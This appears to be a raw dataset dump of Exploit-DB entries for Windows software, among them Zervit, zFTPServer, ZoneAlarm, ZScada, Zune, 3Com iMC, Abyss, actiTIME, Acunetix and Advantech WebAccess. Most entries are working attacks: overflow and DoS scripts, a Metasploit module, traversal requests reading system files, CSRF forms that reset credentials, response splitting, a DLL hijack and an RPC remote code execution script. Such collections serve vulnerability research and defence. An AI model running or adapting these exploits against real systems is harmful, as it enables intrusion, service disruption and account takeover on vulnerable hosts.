deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8666
Description: Zervit Web Server 0.4 - Directory Traversal / Memory Corruption
Type: remote
Platform: windows
Date: 2009-05-13
Author: e.wiZz! & shinnai

Exploit:
#######################  Zervit webserver 0.4 Directory Traversal & Memory Corruption #########


By: e.wiZz! & shinnai

Site: shinnai.net & balcansecurity.com



[Memory Corruption]
########################################################################

import socket

host = "127.0.0.1"
port = 8080

try:
       for i in range(1,10):
              buff = "a" * 3330
              request =  "POST " + buff + " HTTP/1.0"
              connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              connection.connect((host, port))
              connection.send(request)
except:
       raw_input('\n\nUnable to connect. Press "Enter" to quit...')



[Directory traversal]
#################################################################################

[Request]

GET /../../../../../boot.ini HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1
Host: localhost:80
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
#################################################

[Response]

HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 355

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /NOEXECUTE=OPTIN /FASTDETECT
##################################################

# milw0rm.com [2009-05-13]
Exploit-DB #12582
Description: Zervit Web Server 0.4 - Directory Traversals
Type: remote
Platform: windows
Date: 2010-05-12
Author: Dr_IDE

Exploit:
###################################################################
#
# zervit Web Server v0.4 Directory Traversals
# Found By:	Dr_IDE
# Date: 	May 12, 2010
# Download:	http://zervit.sourceforge.net/
# Tested on:	Windows 7
#
###################################################################

- Description -

zervit HTTP Server v0.4 is a Windows based HTTP server. This is the latest
version of the application available.

zervit HTTP Server is vulnerable to remote directory traversal attacks. Other traversal bugs
have been released for this server but this can be done from a browser, no need for Host headers.

- Technical Details - (This is with Directory Listing = On or Off)

http://[ webserver IP][:port]index.html?../../../../../boot.ini
http://[ webserver IP][:port]index.html?..\..\..\..\..\boot.ini
http://[ webserver IP][:port]calc.exe?../../../../windows/system32/calc.exe
http://[ webserver IP][:port]calc.exe?..\..\..\..\windows\system32\calc.exe

#[pocoftheday.blogspot.com]
Exploit-DB #12581
Description: Zervit Web Server 0.4 - Source Disclosure/Download
Type: remote
Platform: windows
Date: 2010-05-12
Author: Dr_IDE

Exploit:
###################################################################
#
# zervit Web Server v0.4 Source Disclosure/Download
# Found By:	Dr_IDE
# Date: 	May 12, 2010
# Download:	http://zervit.sourceforge.net/
# Tested on:	Windows 7
#
###################################################################

- Description -

zervit HTTP Server v0.4 is a Windows based HTTP server. This is the latest
version of the application available.

zervit HTTP Server is vulnerable to common remote source disclosure attacks. 

- Technical Details - (This is with Directory Listing = On or Off)

http://[ webserver IP][:port]index.html.		(Source Download)
http://[ webserver IP][:port]index.html%20		(Source Download)


#[pocoftheday.blogspot.com]
Exploit-DB #18235
Description: zFTPServer Suite 6.0.0.52 - 'rmdir' Directory Traversal
Type: remote
Platform: windows
Date: 2011-12-11
Author: Stefan Schurtz

Exploit:
#!/usr/bin/perl
#################################################################################
# Advisory:		zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
# Author:		Stefan Schurtz
# Contact:		sschurtz@t-online.de
# Affected Software:	Successfully tested on zFTPServer Suite 6.0.0.52
# Vendor URL:		http://www.zftpserver.com/
# Vendor Status:	fixed
# CVE-ID:		CVE-2011-4717
# PoC-Version: 		0.2
#################################################################################
use strict;
use Net::FTP;

my $user = "anonymous";
my $[CREDENTIAL_REDACTED]";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
	print "[+] Usage: $@ <target> <payload length>\n";
	exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
	 $payload .= $p[$i];
	 push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF
Exploit-DB #19871
Description: Zone Labs ZoneAlarm 2.1 Personal Firewall - Port 67
Type: remote
Platform: windows
Date: 2000-04-24
Author: Wally Whacker

Exploit:
source: https://www.securityfocus.com/bid/1137/info

Certain versions of Zone Labs personal Firewall have a vulnerability which allows malicious users to port scan the firewall without being detected. In particular if the port scan originates from source port 67 on the attacking host the ZoneAlarm fails to register the attack.

nmap -g67 -P0 -p130-140 -sU <targethost>
Exploit-DB #21169
Description: ZoneAlarm Pro 1.0/2.x - Outbound Packet Bypass
Type: remote
Platform: windows
Date: 2001-12-06
Author: Tom Liston

Exploit:
source: https://www.securityfocus.com/bid/3647/info

Due to a common design error, it may be possible for outbound packets to bypass packet filtering in many personal firewalls.

Many of these applications only block packets created by the standard Windows protocol adapter. It is possible for a user with administrative privileges to create packets with other protocol adapters that are not evaluated against the personal firewall rules when transmitted.

Exploitation will result in a violation of security policy.

Tiny Personal Firewall, ZoneAlarm and ZoneAlarm Pro are confirmed vulnerable. It is believed that other applications similar in design may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21169.zip
Exploit-DB #42691
Description: ZScada Modbus Buffer 2.0 - Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ZScada Net Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in
				Z-Scada Net 2.0.  The vulnerability is triggered when parsing
				the response to a Modbus packet.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN', 
							{
								# zscadanet.exe v1.0
								# pop ecx/ pop ebp/ retn
								'Ret' => 0x00429c35
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Dec 11 2014'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
			], self.class)
	end

	def on_client_data(client)
		p = payload.encoded

		buf = pattern_create(5000)
		buf[574, 4] = [0x909006eb].pack('V')	# jmp $+8
		buf[578, 4] = [target.ret].pack('V')
		buf[582, 24] = "\x41" * 24
		buf[606, p.length] = p

		client.put(buf)
		handler
		service.close_client(client)
	end

end
Exploit-DB #5489
Description: Zune Software - ActiveX Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2008-04-23
Author: ilion security

Exploit:
Vulnerability class : Arbitrary file overwrite
Discovery date : 21 April 2008
Remote : Yes
Credits : J. Bachmann & B. Mariani from ilion Research Labs
Vulnerable : Zune software: EncProfile2 Class

An arbitrary file overwrite as been discovered in an ActiveX control installed with the Zune software package.
If a user visits the malicious page and authorize the control to run (it is not marked safe for scripting), the attacker can erase an arbitrary file.

POC:
<HTML>
<BODY>
 <object id=ctrl classid="clsid:{0B1C3B47-207F-4CEA-8F31-34E4DB2F6EFD}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.SaveToFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2008-04-23]
Exploit-DB #12679
Description: 3Com* iMC (Intelligent Management Center) - Traversal File Retrieval
Type: webapps
Platform: windows
Date: 2010-05-21
Author: Richard Brain

Exploit:
PR10-01: Unauthenticated File Retrieval (traversal) within 3Com* iMC (Intelligent Management Center)

* On the 12th April 2010 Hewlett Packard completed its acquisition of 3Com

Vulnerability found: 30th January 2010

Vendor informed: 1st February 2010

Vulnerability fixed: 13th May 2010

Severity: High

Description: 

3Com's iMC (Intelligent Management Centre) provides professional management of 3Com and third party network devices, the IMC is normally accessed using a web browser over port 8080.Procheckup has discovered that the IMC management console is vulnerable to a unauthenticated directory traversal attack within the reporting functionality.

Note: tested on 3COM IMC running on Windows and Microsoft SQL 2005

Version 3.3.9   R2 606 29 Sept 2009
Version 3.3 SP1 R2 606 15 Dec 2009


The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal


http://target-domain.foo:8080/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\..\..\..\..\..\..\..\..\..\windows\win.ini


http://target-domain.foo:8080/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports..\..\..\..\..\..\..\..\windows\win.ini%00reports&fileName=reportParaExample.xml

Consequences: 
Directory traversal allows Files to be retrieved from the target server outside the webroot, provided that the location on the file system is known. No authentication is required to exploit this vulnerability. 


Fix:
Ensure that at least patch 3.3SP2 (R2606P13) has been installed. 


References: 

http://www.procheckup.com/Vulnerabilities.php



Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


Legal:

Copyright 2010 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.
Exploit-DB #31221
Description: Ability Mail Server 2013 -Persistent Cross-Site Scripting / Cross-Site Request Forgery (Password Reset)
Type: webapps
Platform: windows
Date: 2014-01-27
Author: David Um

Exploit:
*On one machine (Windows Server 2003), install a new instance of AMS with
these configurations*

1. Primary Domain: hack.local
2. Enable the WebMail Service
3. Domain Name: hack.local
4. Add a User and set Password. In this case I created a user named,
victim, with a password of victim
5. Finish installation


*On an instance of Kali*

1. Open a web browser and navigate to AMS WebMail Login
2. Log in as the user victim
3. Go to Options -> Advanced Options
4. Verify that the Password Resetting section is blank
5. Start Apache and place csrf-password_reset.js in /var/www/ability
6. As a sanity check, try to navigate to csrf-password_reset.js to make
sure you can access it, i.e. 192.168.1.1/ability/csrf-password_reset.js
7. Update resetpassword.py with the IP addresses of the server running
AMS and the kali attack machine. If the user/password account you created
in AMS is different, update that information here as well.
8. Run the script by typing, "python resetpassword.py"
9. Go back to your web browser, you should notice that victim now has an
email
10. Open the email
11. You should observe an alert box that says, Password Reset!
12. Click OK
13. Go to Options -> Advanced Options
14. Verify that the Password Resetting section is now populated with the
question and answer set to hacked
15. Logout of AMS
16. Click on Return to Login Page
17. Click on Forgot your password?
18. Enter an email address of victim@hack.local
19. Enter an answer of hacked and set a new password (you can leave zip
code and telephone number blank)
20. Click on Return to Login Page
21. Login as user victim with the password you have chosen

Proof of Concept Files:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31221.tar.gz
Exploit-DB #12640
Description: Abyss Web Server X1 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2010-05-17
Author: John Leitch

Exploit:
http://osvdb.org/show/osvdb/64693

<http://osvdb.org/show/osvdb/64693>
http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html
 :

Abyss Web Server X1
XSRF<http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html>
A cross-site request forgery vunlerability in the Abyss Web Server
X1<http://www.aprelium.com/abyssws/download.php> management
console can be exploited to change both the username and password of the
logged in user.
PoC:
 view plain<http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html#>
print<http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html#>
?<http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html#>

   1. <html>
   2.     <body onload="document.forms[0].submit()">
   3.         <form method="post" action="
   http://localhost:9999/console/credentials">
   4.             <input type="hidden" name="/console/credentials/login"
   5.                    value="new_username" />
   6.             <input type="hidden" name=
   "/console/credentials/password/$pass1"
   7.                    value="new_password" />
   8.             <input type="hidden" name=
   "/console/credentials/password/$pass2"
   9.                    value="new_password" />
   10.             <input type="hidden" name="/console/credentials/bok"
   11.                    value="%C2%A0%C2%A0OK%C2%A0%C2%A0" />
   12.         </form>
   13.     </body>
   14. </html>

<http://cross-site-scripting.blogspot.com/2010/05/abyss-web-server-x1-xsrf.html>
Exploit-DB #38602
Description: actiTIME 2015.2 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2015-11-02
Author: LiquidWorm

Exploit:

actiTIME 2015.2 Multiple Vulnerabilities


Vendor: Actimind, Inc.
Product web page: http://www.actitime.com
Affected version: 2015.2 (Small Team Edition)

Summary: actiTIME is a web timesheet software. It allows you to
enter time spent on different work assignments, register time offs
and sick leaves, and then create detailed reports covering almost
any management or accounting needs.

Desc: The application suffers from multiple security vulnerabilities
including: Open Redirection, HTTP Response Splitting and Unquoted
Service Path Elevation Of Privilege.

Tested on: OS/Platform:	Windows 7 6.1 for x86
           Servlet Container: Jetty/5.1.4
           Servlet API Version: 2.4
           Java: 1.7.0_76-b13
           Database: MySQL 5.1.72-community-log
           Driver: MySQL-AB JDBC Driver mysql-connector-java-5.1.13
           Patch level: 28.0


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5273
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5273.php


13.10.2015

--



1. Open Redirect
-----------------

http://localhost/administration/settings.do?redirectUrl=http://zeroscience.mk&submitted=1


2. HTTP Response Splitting
---------------------------

http://localhost/administration/settings.do?redirectUrl=%0a%0dServer%3a%20Waddup%2f2%2e0&submitted=1

Response:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 14 Oct 2015 09:32:05 GMT
Server: Jetty/5.1.4 (Windows 7/6.1 x86 java/1.7.0_76
Content-Type: text/html;charset=UTF-8
Cache-Control: no-store, no-cache
Pragma: no-cache
Expires: Tue, 09 Sep 2014 09:32:05 GMT
X-UA-Compatible: IE=Edge
Location: http://localhost/administration/
Server: Waddup/2.0
Content-Length: 0


3. Unquoted Service Path Elevation Of Privilege
------------------------------------------------

C:\Users\joxy>sc qc actiTIME
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: actiTIME
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\actiTIME\actitime_access.exe startAsService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : actiTIME Server
        DEPENDENCIES       : actiTIME MySQL
        SERVICE_START_NAME : LocalSystem
Exploit-DB #34527
Description: Acunetix Web Vulnerability Scanner - DLL Loading Arbitrary Code Execution
Type: webapps
Platform: windows
Date: 2010-08-25
Author: Kolor

Exploit:
// source: https://www.securityfocus.com/bid/42697/info

Acunetix Web Vulnerability Scanner is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Acunetix Web Vulnerability Scanner 6.5.20100616 is vulnerable; other versions may also be affected. 

// Exploit Title: Acunetix Web Vulnerability Scanner DLL Hijack
// Date: 25 Aug 2010
// Author: Kolor
// Software Link: http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner65.exe
// Version: 6.5.20100616
// Tested on: Windows 7 64bit Eng
// Vuln ext.: .WVS (saved report)

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int egg()
{
	system ("calc");
		exit(0);
		return 0;
}
Exploit-DB #44278
Description: Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution
Type: webapps
Platform: windows
Date: 2018-03-12
Author: Chris Lyne

Exploit:
#!/usr/bin/python2.7
  
# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
# Date: 03-11-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
# Version: Advantech WebAccess 8.2-2017.08.18
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16720
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
    res = dce.recv()
  except Exception, e:
    print "Exception encountered..." + str(e)
    sys.exit(1)
  return res

if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0" 

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
  print "Something went wrong"
  sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()